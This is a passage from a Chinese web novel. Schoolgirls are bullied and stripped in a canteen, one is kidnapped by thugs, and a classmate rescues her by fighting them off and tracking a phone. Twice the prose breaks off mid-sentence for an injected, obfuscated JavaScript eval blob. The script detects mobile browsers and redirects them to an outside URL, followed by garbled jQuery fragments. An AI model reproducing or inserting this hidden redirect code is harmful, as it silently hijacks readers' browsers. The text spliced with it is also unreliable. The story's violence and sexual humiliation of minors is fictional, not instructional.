董婉凝、宁小萌、沈娇娇,还有之前那个来找过韩山的孟燃,四个女生高傲地站在桌边,每个人手里都端着打的饭。 学校食堂的桌子是四人桌,叶子这桌上还有两个女生,见状察觉不妙,立刻端着餐盘逃似的走了,剩下叶子和秦夏两个人。 叶子犹豫了一下,若是听她们的走了,有第一次就会有第二次,她们只会得寸进尺。若是不走,恐怕又是一场争执。 食堂这么多人,闹起来谁都不好看。 董婉凝自顾自把碗放在桌上,她今天要的是牛肉面,刚出锅的面条,冒着热气。 她带头,剩下三个女生纷纷效仿,无声地逼迫叶子和秦夏离开。 叶子决定还是先忍,已经期末了,熬过这个学期再说,端着餐盘站起来,“走吧秦夏,我们换个位置坐。” 秦夏脸色苍白,颤颤巍巍跟着她起身。 然树欲静而风不止,她们正要离开,董婉凝开口:“站住。把桌子擦干净。脏兮兮的我们怎么吃啊?” 三个女生随之挡在叶子和秦夏面前。 那桌子她们刚擦过,已经很干净,董婉凝就是故意挑事。 秦夏不安看向叶子。 叶子再次忍了,让秦夏帮她端下餐盘,抽出面巾纸把桌子又擦了一遍。 “行了吧。”她拿过秦夏手中自己的餐盘,转身要走。 董婉凝给了沈娇娇一个眼神,沈娇娇站出来说:“小偷什么时候还钱?” 叶子脚步顿了顿,攥紧了餐盘,身体微微颤抖。 秦夏知道叶子冤枉,她们此刻提起这事就是故意激将。 叶子当做没听到,继续往前走。 沈娇娇声音很大:“走这么快干嘛?心虚啊?” 食堂人正多,一来二去,不少同学都在往这看。 叶子不想被激将,不理会她,拉着秦夏离开。 董婉凝瞧她不为所动,直接下令:“搜!把她偷的钱搜出来!” 四个女生一齐围上去,掏叶子的口袋。 秦夏尖叫一声,连忙退开。 叶子手上端着餐盘,没法反抗,大声喊道:“别碰我!别碰我!” 天冷她穿得厚,董婉凝拉开她的校服拉链,扒她里面的衣服,“看看是不是藏里面了!” 孟燃带着恶意:“这么会勾引男人,是不是很有料啊?” 女生们爆笑,宁小萌打开手机摄像头,怼着叶子的脸拍,“来啊笑一个,笑啊!” 沈娇娇挖苦:“你不是挺牛的吗,你男人呢?” 叶子尖叫挣扎,手里的餐盘掉在地上,一口未动过的饭菜洒了一地。她被三个女生抓得死死的,推搡拉扯,脑中闪过那个噩梦,相似的画面,反复上演。 她一时分不清是现实还是梦中梦,这个梦是不是永远醒不来。 秦夏面色苍白,难以置信看着这一幕。 叶子的衣服转眼被扒乱,露出粉色的背心肩带。董婉凝讥诮:“哟,还是粉的呢,看看下面是不是一套啊?” 食堂中男生很多,好奇又新鲜地看。 没一个人上前制止。 秦夏浑身颤抖,眼眶蓄出眼泪。 再进行下去、再进行下去……叶子会被扒光的! 她怕极了,她怕也成为被围攻的对象,可是叶子之前站出来帮过她,她不能,她不可以,只是看着。 她必须做点什么,阻止这一切。 她慌乱地打量四周,看到桌上董婉凝那碗冒着热气的牛肉面。 她不知哪来的勇气,端起这碗面,顺着董婉凝的头顶浇了下去。 董婉凝尖叫,滚烫的热汤面劈头盖脸淋透她全身。 她浑身湿透,头发挂着面条和菜叶子,黏腻腻粘在她脸上,烫得她皮肤生疼。 剩下三个女生惊呆了,不可思议看向秦夏。 董婉凝抹了把脸,恶狠狠回头,推了秦夏一把,“你他妈有病啊!” 秦夏脸上毫无血色,拿着空面碗的手发颤,怔然看着她,似乎也没想到自己能做出这样的事。 叶子有了喘息的机会,连忙整理衣服,拽上秦夏就跑,“快走。” 董婉凝望着她们的背影喊:“贱.婢给我回来!” * 叶子带秦夏跑出食堂,飞快跑下楼梯,秦夏魂不守舍,哭着说:“怎么办叶子,我完了,我彻底完了……她们不会放过我的……” 叶子带秦夏来到公园,坐在长椅上,帮她擦眼泪,“没事的,我们互相照应,一定能熬过今天的。” 秦夏:“熬不过去的,她们肯定放学就会找人揍我……”她抱住头,止不住地哭。 叶子难免又想到那个少年。 那时她放学被人跟踪围堵,她每天在校门口蹲他,跟着他一起走。 少年身上仿佛带着一股看不见的力量,一切危险都随之退散。 可是现在…… 叶子安慰她:“不会的,别瞎想。下午还有课,我们先好好上课。” 秦夏:“不行的,她就坐我前面,我一抬头就能看到……”一想到自己学习会受到影响,甚至影响高考,她哭得更厉害。 看她哭得痛彻心扉,叶子也有些郁闷,如果他在就好了。 她绝不是只能依附别人的菟丝花,可有些事,没有绝对的武力压制,根本避免不了。 秦夏啜泣问:“叶子,你说报警有用吗?” 叶子认真想了想,说:“多少有吧,但是她们都是未成年,结果无非就是反应给家长批评教育。以董婉凝他们的家庭……”她摇了摇头,“而且还需要证据。” 想起韩山打架那件事,证据找得那样艰辛,她默默叹息。 秦夏:“你怎么一点也不害怕啊?” 叶子想说习惯了,但不想让气氛太沉闷,笑着开玩笑:“你都哭得稀里哗啦了,我再害怕,咱俩啥也别干了,就抱头痛哭吧。” 秦夏破涕一笑,说:“叶子,其实我一直有话对你说。” 叶子:“嗯?” 秦夏说:“我一直想对你说声抱歉。以前你被欺负的时候,我都在一旁看着,从没想过做些什么。那次董婉凝欺负我,你为我站出来,我突然觉得之前的自己好胆小好懦弱。今天我反击了董婉凝,虽然我还是很害怕,但我觉得我勇敢了好多。” 叶子欣慰笑笑,“我都明白的。谢谢你今天的勇敢。” 两个女孩相视而笑。 秦夏问她:“如果大家都可以勇敢些站出来,霸.凌是不是就不会存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13716195|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在?” 叶子也不知道,叹息说:“或许吧。” 叶子:“秦夏,你带手机了吗?” “带了。”秦夏连忙将手机拿出来给她。 叶子平常上学不带手机,不过她背下了韩山的号码。 正好她怀疑他是不是拉黑了她的号码,用别人手机试试。 叶子接过手机,给韩山的号码发了条短信:你到底在哪里呀,我现在需要你。 她并不确定韩山能不能看到,总之先发了再说。 * 董婉凝中午回家洗了澡换了衣服,下午第二节课才回学校。 她一进班,秦夏立刻紧张起来。 董婉凝已经联系了人,今天放学就给她们好看。 孟燃还叫了她认识的打架高手,替董婉凝报仇。 董婉凝向阿天打听了韩山的情况,阿天说不清楚,董婉凝心想,人总不能莫名其妙失踪,八成是进局子了,没段时间出不来。 这么一猜,赵育芳对他旷课不闻不问也说得通了。 她胆子大得很,只待放学看好戏。 课间时,董婉凝转过身,拉过秦夏的袖子擦自己眼影盘的镜子,“哎呀,怎么这么脏啊。胳膊再伸过来点!” 秦夏不敢反抗,任由她摆布。 董婉凝边擦边感叹:“真没想到,你看着文文静静,脾气还挺烈。我长这么大,还没一个人敢从我头顶浇东西。”云淡风轻的语气,却无端让人害怕。 秦夏战栗着,不敢接话。 董婉凝:“也对,物以类聚人以群分,你跟叶子那臭婊.子玩得到一起去,肯定也跟她一样贱。对于你们这种人呢,揍一顿估计就好了。”她擦完镜子,露出一个森然的笑。 秦夏不寒而栗。 课间秦夏告诉叶子董婉凝有可能会找人揍她们,叶子镇定地说:“你手机有收到回信吗?” 秦夏摇头,她手机开着静音,若是有电话或是短信,她可以感觉到震动。为了确认,她拿出手机,解锁看了看,确定没有任何消息。 叶子拿过手机,拨通那个号码,放在耳边静静等待。 Kings昏暗的化妆间里,韩山躺在沙发上补觉,修长的双腿交叠,翘在沙发扶手上。他个子高,沙发盛不下他,半截小腿都在外面。 他的手机被他随手丢在椅子上,外套盖着,没电关机了。 叶子打了好几个,一直不在服务区,吸了口气,“得靠自己了。”她把手机还给秦夏,郑重看着她,说:“你一定要护好你的手机,一放学我们就跑,如果有人堵我们,你就马上报警。” 她顿了顿又说:“如果报不成警,我们就往人多的地方跑。便利店,公交站台,银行……”她想到那次她是在网吧门口碰上韩山,下意识说:“甚至网吧,都可以。” 秦夏记住她说的话,重重点头,“那如果跑不了呢?” 叶子笃定说:“我们一定跑得了。万一真的跑不了,再尝试报警,或者给那个号码打电话。总之你一定要护好你的手机。” 秦夏点点头说:“那个号码是谁?韩山吗?” 叶子:“嗯。” 秦夏:“你们是朋友?” 叶子:“对。” 秦夏相信他。 最后一节课很快到来,补课日老师不会拖堂,叶子和秦夏提前两分钟收拾东西,一打铃便跑。 董婉凝知道她们要跑,早就给阿天,孟燃打电话通了气。她也提前收拾东西,一打铃便追。 阿天其实是怂的,觉得不确定韩山的下落还是老实点比较好,但董婉凝执意如此,他没办法。 叶子和秦夏跑进楼梯间,小腿飞快地在楼梯上踏过,孟燃、董婉凝、沈娇娇、宁小萌依次从后面追上来,喊道:“站住!别跑!” 叶子和秦夏跑出教学楼,秦夏体质差,有些跑不动,叶子拽着她往前跑。 四个女生在后面追,秦夏跑不动也只能咬牙拼命跑,两人手拉手跑出校门。 周六门卫休班不来,门口两波人,一波是阿天的,叶子面熟,之前他们就在门口堵过她,一波是孟燃的,叶子不认识,他们个子比阿天那波人更高,看起来更凶厉。 两波人从两个方向围上来,秦夏不知道该往哪边跑,叶子毫不犹豫拉着她向阿天那波人的方向跑去,大喊一声:“韩山!” 无论何时他的名字总能给她底气。 阿天一愣,和他的兄弟们纷纷回头,叶子趁机拉着秦夏绕过他们,拼命向前跑,“秦夏,报警!” 阿天发现被耍了,连忙带人去追,两波人一起在后面追她们。 两个人注定没有一个人行动方便,秦夏拿出手机,颤抖着解锁,叶子拉着秦夏,艰难地跑。一中建在郊区,附近人烟稀少,得跑一段人才会多起来,公交站台才会出现。她们必须先挺过这段路。 董婉凝跑不动了,停在校门口喘气,孟燃、沈娇娇、宁小萌都停下来,沈娇娇忧虑道:“能追上吗?” 孟燃:“放心,没问题的。” 她那些兄弟可都是打架的高手,追两个女生不在话下。 董婉凝累得说不出话。 两波人分散开来,绕路从不同方向围堵叶子和秦夏,叶子拉着秦夏跑进小巷,不断拐弯躲避他们,秦夏跑得颠簸,手指颤抖,费了半天劲才拨通了110,气喘吁吁说:“您好我要报警——啊!” 一块石头从后面扔来,重重砸中秦夏的后背,她痛叫一声,一个趔趄,手机从手中飞出去。 秦夏猛地睁大了双眼。 叶子扶住秦夏,手机被一个眼睛上有道疤的男生捡起来,按下挂断键。 男生们从不同方向包围过来。 “报警是吧?不想活了?”刀疤男愤怒地将手机关机。 叶子脸色微白,她们被追上得太快,根本没有时间开展计划。 手机也丢了,这下完蛋了。 秦夏被砸的那一下有点狠,痛得半天直不起身。叶子扶着她,咽了口唾沫,“你们干什么?” 男生们慢慢靠近,收拢包围圈。 “干你们。” * 韩山蓦地醒过来,下意识在沙发上摸手机。 他没摸到,想起手机被他丢在椅子上,立刻起身掀开外套,拿起手机。 他按了按,发现没电关机了,连忙给手机充电。 叶子时不时会给他打电话发短信,虽然他不回,但他一直关注着。 他睡的时间不短,害怕错过她的消息。 他靠在插座边等手机开机,两分钟后,手机打开了。 屏幕顿时跳出一堆未接来电,正常情况叶子不会一下子打这么多,他心一凉,连忙挨个查看,却尽数来自一个完全陌生的新号码。 还有一条由这个号码发出的短信: 你到底在哪里呀,我现在需要你 需要他,三个字敲击了他的心脏。 发这种话的除了叶子,不可能是别人。她或许换了新手机号,又或许用了别人的手机。总之,是她。 倘若是平常,他会很开心,可她一连给他打了这么多电话,还是用一个全新的号码,不安感笼罩了他的心。 她有危险。 他立刻回拨这个手机号,却发现手机关机。 寒意遍布他全身,他抄起皮衣,骑上机车,飞驰去学校。 * 叶子和秦夏被推进一个死胡同,战战兢兢后退,董婉凝给阿天打来电话,交代:“把她俩分开,分别教训。” 同时刀疤男封迎虎也接到孟燃的电话,相同指令。 董婉凝在电话里说:“叶子那狐媚子精得很,把她交给孟燃的人,秦夏留下来,等会我过去。我要亲自惩罚她中午不知天高地厚的行为。” 阿天应了声,与封迎虎交换了个眼神,封迎虎对身后兄弟抬了下手,他们立刻拿着麻绳逼近叶子。 秦夏和叶子不知道他们电话里说了什么,但很明显,叶子处境要更危险。 秦夏挡在叶子身前,克制着恐惧警告他们:“你们这是绑架,犯法的知道吗!”她一只手藏在身后,把袖子里的美工刀递给叶子。 这是她放学前藏在袖子里的,以防万一。而现在,叶子比她更需要这把刀。 叶子镇定接过美工刀,藏进自己袖子。 拿着麻绳的男生嗤笑一声:“言重了。我们一不抢劫二不杀人,过家家而已,怎么会犯法呢?”他薅住叶子头发,把她从秦夏身后扯过来。 叶子痛叫一声。 秦夏:“叶子!” 她想去救叶子,被阿天带人挡住:“你还是先担心担心你自己吧!上!” 阿天的人将秦夏团团围住,开始拳打脚踢,秦夏蜷缩在墙边,抱住头,连连尖叫。 封迎虎的人将叶子的手脚捆了,扛出去扔进了他们后备箱。 轿车发动,迅速驶离此处。 * 此时正是放学时间,也是下班时间,市区人多车堵,韩山被堵得不行,不得不违法闯红灯,走非机动车道和人行道,油门拧到底,一路飙车,五分钟赶到了学校附近。 他路过胡同,余光看到里面有黑压压的人影,立刻停车上前。 董婉凝正在胡同里教训秦夏,她没有想到事情会在这时出现变故。 韩山走进胡同,发现中间的不是叶子,微微蹙眉。 秦夏率先看到了他,声音颤栗说:“韩、韩山?叶子被他们带走了!” 35. 可爱女孩 起初阿天以为秦夏跟叶子一样,是在唬他,头也没回,扇了秦夏脑袋一巴掌,“又是这招是吧!装得挺真啊!有这演技不去拍电视剧白瞎了!” 董婉凝也没回头,大家都没回头,董婉凝把秦夏的书包拉链拉开,东西全倒出来,抓到哪个算哪个,通通撕成碎片,“让你往我头上浇东西,啊?还敢不敢浇了?” 秦夏哭嚎着求她住手,大家你一下我一下地踢打秦夏,秦夏抱住头痛哭。 只有宁小萌害怕,下意识回头瞄了一眼,不瞄不要紧,一瞄,脸上血色瞬间褪去。 她对上了一双漆黑的带着冷怒的眼。 韩山面色阴鸷,就站在他们后面,目光冷冰得像一把寒刃。 她仍无法忘记被威胁的那晚,他给她带来的恐惧和压迫感。 她几乎要哭了,“婉、婉凝……” 董婉凝不耐烦:“咋了?” 宁小萌面如死灰,望着后面。 董婉凝顺着她的目光向后一瞟,猛地僵住。 阿天跟着回头,神色顿时变了,“弥、弥哥……?” 孟燃看见他,心跳微快,到现在她依然对这个冷漠凶戾的少年莫名心动。 所有人纷纷回头,空气一时安静了,秦夏的哭喊显得更为惊心动魄:“韩山,叶子被孟燃的人带走了!” 韩山一言不发,扯过阿天的衣领,一拳过去。 阿天眼冒金星地后退,眼圈留下乌青。 董婉凝虽然害怕,但不服输,偏要跟韩山对着干,喝道:“都上!我们人多不怕!” 她们四个女生退到一边,韩山与男生们打起来,拳脚间,男生们都被他打翻在地。他以一敌百,他们人多也不是他的对手。 男生们慌不择路地跑了,阿天更是不敢硬碰硬,也不管董婉凝了,拔腿就跑。董婉凝见状也要走,被韩山面无表情掐住脖子。 “当我死了?” 董婉凝的脸一瞬涨红,本能地抓住他的手臂,他力度极大,仿佛真的下了杀心,她能感觉到他小臂鼓胀的肌肉。 剩下三个女生顿时腿软了,一步都无法挪动。 她们哪里见过活生生掐脖子的画面。 董婉凝喘不上气,艰难说:“你、你不能杀我、你会坐牢的!叶子、叶子肯定不想看见你坐牢!” 韩山黑眸神色动了动,“说,叶子在哪?” 董婉凝感觉到颈间的力度松了些,果然提叶子的名字有用!她终于能喘口气,忙说:“孟燃!叶子在哪?” 孟燃一个激灵,吓得语无伦次:“我、我也不知道啊!他们会把她带到哪,我怎么知道!” 她是真的不知道,那些人行踪不定,鬼知道今天又会去哪玩。 宁小萌和沈娇娇吓得忍不住哭起来。 韩山轻抬下巴:“打电话,把人送回来。” “好、好……”孟燃颤抖着操作手机,拨通电话,举到耳边。 韩山神色冷淡,语气没有一丝温度:“免提。” 孟燃连忙照做。 电话很快被接通,首先闯出听筒的就是叶子一声尖叫。 韩山的脸部线条顿时绷紧了。 孟燃颤声说:“封、封哥,那个,你把人送回来吧,今天不玩了,就到这。” 电话那头传来懒洋洋不以为意的男声:“怎么了,我们玩得正嗨呢,这小丫头细皮嫩肉,真不错。” 电话里面依然有叶子的叫声,和男生们的嬉笑声。 韩山情不自禁收紧五指,董婉凝再次喘不上气。 孟燃下意识看韩山一眼,心惊胆战说:“别玩了!快送回来!有人找她!” 封迎虎毫不畏惧说:“那就让他来找,老子是不送。” 话落,电话挂断了。 韩山有点想笑,也是真的笑了,他们在嚣张什么? 真以为他找不到吗? 董婉凝哭着求饶:“对不起韩山,这次是我们玩过了!我会给叶子赔礼道歉,求你放过我们一马!现在去救叶子才是正事,对不对?” 仅针对最后一句,她说得没错,韩山也这么想。他松开她,走向孟燃。 董婉凝顿时扶住墙剧烈咳嗽。 孟燃仓皇后退。 韩山认出她就是之前那个跟他搭讪还来他班里找他的女生,心中泛着冷。 他拿过她手里的手机,看了眼她刚才拨通的电话号码,丢回去。 孟燃手忙脚乱接住。 女生们缩在一起不敢妄动,秦夏也被吓得不轻,以前她只知道韩山打架很厉害,但还从没有见识过,如今一见,她终于明白为什么这些人都怕他。 绝对的武力压制前,没有人会不怕。 韩山没说什么,无言走出胡同,长腿跨上机车离开了。 机车声音远去,董婉凝终于松了口气,连忙招呼三个女生:“快走快走。” 她们全被吓破了胆,顾不上秦夏,匆匆逃离胡同。 秦夏嘴角有块伤,头发凌乱,扶着墙虚弱站起来。 她看得出,韩山没想救她,只是因为她们知道叶子的下落,他才会出手。 她就猜到会是这样,所以她在看见韩山的那一刻,毫不犹豫先喊出叶子的名字。 这就像一张底牌,亮出来,他就不会走。 韩山油门拧到底,以最快的速度来到最近的一家网吧,开了台机子。 他动作飞快,神色专注,熟练操作键盘鼠标,侵入封迎虎手机号运营商的系统。 他输入封迎虎的手机号,按下回车,发送一道程序。 系统页面是白色的,屏幕发着冷白的光,映在他轮廓分明的脸上,衬得他的脸庞更加冷锐凉薄。 他继续操作,封迎虎手机的IP地址弹出来,同时手机的精确位置显示在GPS定位器上。 韩山一目了然,清除所有痕迹,关电脑,骑上机车前往。 * 封迎虎手机突然锁死,屏幕上出现三个大字:别碰她。 无论他怎么按都无法解开手机,也无法删掉这三个字。他甚至无法关机,把电池扣出来屏幕才熄灭。 他破口骂道:“操!什么玩意?” 他之前听孟燃说过,这小妮子是有男人罩的,只不过他当时没当回事,具体的也没细听。 封迎虎意识到不妙,站起来走到叶子面前,薅着她的头发强迫她抬起头来,“你男人谁啊?嗯?” 叶子脸上有个巴掌印,是男生们嫌她不老实留下的,嘴角有淡淡血迹。 她的校服被撕扯得很乱,脖子上有淤青,都是那些男生们刚刚干的。 然而她全程没有哭,没有流一滴泪。 她猜测韩山正在赶来的路上,不慌不忙说:“他打架很厉害的,你们最好现在就放了我,否则等会儿他过来,你们后悔都来不及。” 封迎虎一下子来劲了,“哟呵,好大的口气,老子倒要看看他能有多厉害。” 他松开叶子,坐在一边鼓捣手机,男生们继续教训她。 叶子被捆着手脚,没法护着自己,只能蜷缩着,咬牙隐忍。 封迎虎把电池拆了装,装了拆,他的手机只要通电,屏幕就会显示那三个字,按什么都没反应。 这三个字带着威胁警告之意,他看着烦。 他很快没了耐心,叫来兄弟们,“你们都过来,看看我这手机怎么回事。” 男生们暂时放过了叶子,过去帮他弄手机。 叶子战战兢兢看着他们离开,立刻拿出袖子里藏的美工刀,推出刀刃,趁这个机会赶紧割手腕上的麻绳。 她在后备箱的时候已经割了一路,这麻绳就快断了。 她所在的位置是一片烂尾楼,楼房只建了水泥框架,四面透风。 封迎虎专门把她带到了最中心的这栋楼,无论往哪个方向跑距离都是最远的。 叶子被带进来的时候留意过了,附近交通还算便利,只要她能跑出去,她就一定可以逃脱。 如果能遇上韩山,就更好了。 天渐渐黑了,风带着凉意不断吹进来。叶子额头微微冒汗,心在狂跳。 明天就是平安夜,她一定可以平安回家。 男生们鼓捣手机鼓捣了好一会儿,都搞不定,嚷嚷着说是中病毒了,要重装系统。封迎虎更烦躁,这一来二去肯定又不少钱,骂骂咧咧把矛头对准了叶子:“肯定是这臭婊.子的男人搞的鬼,给我把她往死里弄。” 叶子听到这话警觉地向后挪动,加快手上割麻绳的动作。 “你们别过来!否则手机永远打不开!”她强压心头的恐惧,镇定说。 男生们脚步顿了顿,回头看老大的意思。封迎虎站起来,慢悠悠走上前,“哎呦,还会威胁人了?” 麻绳还差最后一点就断了,叶子一鼓作气,扯断绳子。 同时封迎虎说:“上。” 男生们一同围上来,叶子迅速解开脚上的绳索,拔腿就跑。 封迎虎猛地睁大眼睛,“操!敢跑?给我抓住她!” 他带人追上去。 叶子拼命向前奔跑,烂尾楼里有零散的石块,她捡起石块向后扔去,给他们制造阻碍,冲出楼洞。 男生们躲开石块,继续去追。 * 韩山骑着机车,闯入烂尾楼小区,一栋一栋寻找叶子的身影。 他不停鸣笛,向叶子发出信号。 叶子对这个笛声十分耳熟,大喊:“韩山!韩山是你吗!我在这!” 空荡荡的烂尾楼回音阵阵,韩山听见她的声音,立刻调头,循声而去。 叶子跑在楼与楼之间,当她看见熟悉的身影在楼尽头出现时,如释重负,拼尽最后的力气迎上去。 就好像是漫长的跑道,终于看到了终点。 封迎虎眯了下眼,当即停步,伸手挡住身后的弟兄们,让他们停下。 韩山向叶子驶来,停车摘下头盔。 他还没来得及下车,叶子一头扎进他怀里,像是终于找到了寄托,憋了一整天的眼泪在这一刻决堤,“你这段时间跑哪去了,你为什么不告而别,为什么不接我电话……”她说一句用拳头砸他一下,哭得伤心极了。 韩山一怔,下意识绷紧了身体。 他最见不得她哭,她一哭,他的世界都要崩塌。 他想到赵育芳给他的警告,喉结动了动,嗓子干涩生疼。 他能怎么办,他只会耽误她,偏偏她又这样依赖他。 他的身体一点点僵硬,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13726538|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却软得一塌糊涂,这段时间深埋心底的压抑克制,思念担忧,尽数被她的泪水浇灌,有什么在他心里生根发芽,就要破土而出。 女孩子的眼泪只能是为幸福而流,绝不该是因为委屈、难过,或是恐惧无助。 他以为他做了正确的决定,结果却是这样糟糕。 半晌他深吸一口气,无比艰难晦涩地说:“好了好了,别哭了,我不是在这吗?” 他捧起她哭花的小脸,他的衣服都被她哭湿了,他没有纸,只能用拇指抹去她脸颊的泪水。 她杏眼湿漉漉的,肿了一圈,水汽快要漫出来,鼻尖都哭红了。他内心狼狈地想,怎么会有人哭起来也这么漂亮可爱。 他真是……束手无策啊。 叶子被他看得不好意思,别过小脸抽抽搭搭地说:“别看,丑。” 韩山眼中泛着柔,将她小脸转过来,轻声说:“不丑。” 封迎虎看了一会儿,带人走过来。 韩山抬眸,黑眸一瞬变得凌冽,脚后跟拨开脚撑,长腿跨下机车。 “在这坐会儿。”他双手举起叶子,放在机车车座上。 她小小一只,在他手里就像只毛绒玩偶,小宠物,他轻松地就能举起来,放在任意地方。 叶子啜泣着,担忧看着他。 封迎虎的人多,十来个呢。 韩山双手扶着膝盖,弯腰与她平视,看到她脸和脖子上的伤痕,手掌心疼地在她脸颊贴了贴,“放心吧。” 他会为她报仇。 封迎虎的手搭在他肩膀,语气狂妄说:“想带走她,经过我同意了吗?” 韩山冷下目光,抓住他的手,一个过肩摔。 叶子尖叫一声,下意识护住头。 封迎虎完全没反应过来,重重摔在地上,骨头都要散了,大骂一声:“操!” 立刻有一个瘦高男生抬腿踹向韩山,韩山擒住他腿,手肘在他膝盖一砸,男生关节一声脆响,惨叫着倒在地上。 韩山回眸,男生们一齐冲来,韩山迎上去,一脚踹飞一个,一拳打翻一个,一个扫踢掀翻一片。 叶子倒吸一口冷气捂住嘴,尽管不是第一次看韩山打架,但仍然会被这样的画面惊到。 这次韩山无论是招式还是力度都比以往几次还要狠,倒下去的没一个能爬起来。 有人扬起甩棍,向韩山挥去,韩山单手扼住他手腕,将他手肘一别,那人顿时疼得吱哇乱叫,甩棍从手中掉落。 韩山一脚踹开他,接住甩棍,在手里一掂,倒是衬手。 剩下的男生们纷纷拿出甩棍,挥向韩山,韩山弯腰躲开,用甩棍分别击中他们肋骨,后脑,太阳穴,下巴,他们痛得面目狰狞,接连倒地不起。 最先倒地的封迎虎此刻咬牙爬了起来,他离叶子近,当即扑向叶子,想要挟持她。 叶子尖叫一声,抱住头,韩山回眸,扔出甩棍,精准击中封迎虎的后颈。封迎虎顿时眼皮一翻,倒在地上不省人事。 叶子预想中的危险并没有发生,惊魂未定抬头,封迎虎已经昏迷在她脚边。 有人趁机从后面掐住韩山的脖颈,韩山眉心微蹙,手肘向后击中那人胸口,转身对那人脖颈一记掌刀。那人晕厥倒地。 又有一个男生要攻击叶子,韩山迅速过去挡在叶子身前,一脚踹开他。 还剩下三个男生见大势已去,不想挨打,痛哭流涕跪地求饶,磕头说:“大、大哥,我们只是听封哥命令办事,不、不关我们事啊!” 韩山胸膛微微起伏,地面上,昏迷的昏迷,打滚的打滚,七横八竖倒了一片。 他冷冷扫过三个求饶的男生,转头看向叶子,无言询问她的意思。 叶子心地善良,不忍心为难他们,说:“就这样吧,给他们点教训就行了。” 三个男生也是会来事,立刻转过去对叶子磕头,“谢嫂子、谢嫂子!” 叶子顿时脸红。怎么他们也这么叫啊! 韩山看他们一眼,心里略微舒服,表面只当没听到,冷声说:“滚。” 三个男生屁滚尿流地跑了。 叶子突然想到:“对了,秦夏的手机还在封哥身上。” 韩山收到指示,迈着长腿来到封迎虎身边,半蹲下来,在他身上摸了摸,拿出手机,递给叶子。 叶子接过手机,挪了挪给他让出位置,“好了,我们走吧。” 韩山上了机车,递给她头盔。 叶子熟练戴上,韩山拧动油门,带叶子回家。 天已经完全黑下来了,群星伴月,明天又会是一个好天气。 在韩山的后座上,叶子吹着风,好奇地问他:“你打架这么厉害,有没有输过呀?” 韩山微微抿唇,他当然输过,每次面对她,他总是输得很彻底。 然而这种话,是没法说出口的。 他淡淡说:“没有。” 从小他胜负意识就很强,拼上命也要赢。 再厉害的对手,也玩不过不要命的。 所以他从未输过。 在他们竞赛圈子里,他就是不败神话。 叶子声音脆生生的:“真厉害。”她突然想到更重要的事,“对了!你这段时间都去哪了,为什么不来上课呀?” 36. 可爱女孩【双更合一】 韩山嗓子发紧,他该如何回答这个问题。 晚风凛冽似刀,此时的沉默显得无比漫长。 叶子察觉到他的难以启齿,声音软软说:“你要是不愿意回答就算啦,那我就不问啦,总之你现在回来了就好啦!” 韩山胸腔窒闷,他都那样了,她居然还能轻易地说算了。 叶子语气甜甜地说起别的:“你又救了我一次,我要怎么感谢你呢?” 分明是他难以启齿,可她还在替他找话题缓解尴尬。 韩山哑声说:“不用。” 叶子:“可是这样我很过意不去哎,要不我改天请你吃饭吧!” 韩山艰难说:“你若非要感谢,就好好准备期末考试,考个第一给我看。” 叶子奇怪:“哎呀!哪有这样的感谢方式呀。” 韩山:“现在开始有了。” 叶子低头笑,“那好吧,我会努力的!” 晚风渐渐小了一些,叶子望着少年的背影,感到久违的安心,她轻轻地问:“韩山,你应该不会再消失了吧?” 赵育芳的声音不经意在韩山耳边响起—— 你自己不学无所谓,你若是影响她,耽误她高考,这后果你承担不起! 他确实承担不起,他没有办法肩负另一个女孩的人生。 倘若她的学习受到影响……他不会原谅自己。 可是此刻,他无法说出那个“不”字。 他终究会离开的,他们本就不是一个世界的人。 他深深吸气,嗯了一声。 不论日后会如何,此刻他不愿让她失望。 叶子咯咯笑,“那就好。” 她只有这样简单的一个心愿呀。 叶子看韩山在往她家的方向行驶,忙说:“我不回家!你先带我去你那里吧。” 韩山轻捏刹车,“怎么了?” 叶子:“我现在这样,回家我爸妈看见了会担心的,先去你那,让我收拾一下。” 韩山心脏发疼,沉默调头。 叔叔阿姨真是养了个好宝贝,自己受这么大委屈,还在惦记着不能让他们担心。 机车停在仓库门口,韩山下车,扶叶子下来。 窗户下有一堆散落的石块,韩山微微蹙眉。 叶子心虚地嘿嘿一笑。 韩山无奈,他就知道她会来找他,还试图打开他仓库的窗户。 笨得可爱。 韩山黑眸看向她:“摔着了吗?” 叶子觉得丢人,摇头不告诉他实话。 韩山勾唇,她说没有就没有吧。 韩山上前开门。 他也很久没回来过了,铁门打开,一股阴冷潮湿的味道扑面而来。 他走进仓库,发现脚下踩到什么。 他低头,是叶子之前往仓库门缝塞的纸条,他挪开脚,弯腰捡起。 叶子意外:“你还真的一直没回来过呀!我还以为是你故意不理我呢。” 韩山心里苦涩难言,他没回来是真的,不理她也是真的。 他打开纸条,上面潇洒的行楷字写着: 你去哪了呀?看到字条联系我,短信电话都可以哦~ 后面跟着一个可爱的笑脸,落款画了个树叶图案。 叶子微微脸红,推着韩山进仓库,“哎呀你就不能等我走了再看嘛!好尴尬。” 韩山轻笑,心脏软成一滩水。 叶子顺手打开仓库的灯,仓库亮起来,终于有了丝人气。 叶子犹如进了自己家,毫不拘束地摘下书包放在沙发上,在韩山这洗了脸,梳了头发。 看着镜子中脸上的红痕,她有些发愁。 这怎么办呀? 她把校服领子立起来,拉链拉到头,倒是能遮住脖子上的淤青,嘴角的血迹洗干净了,只剩脸上红色的巴掌印。 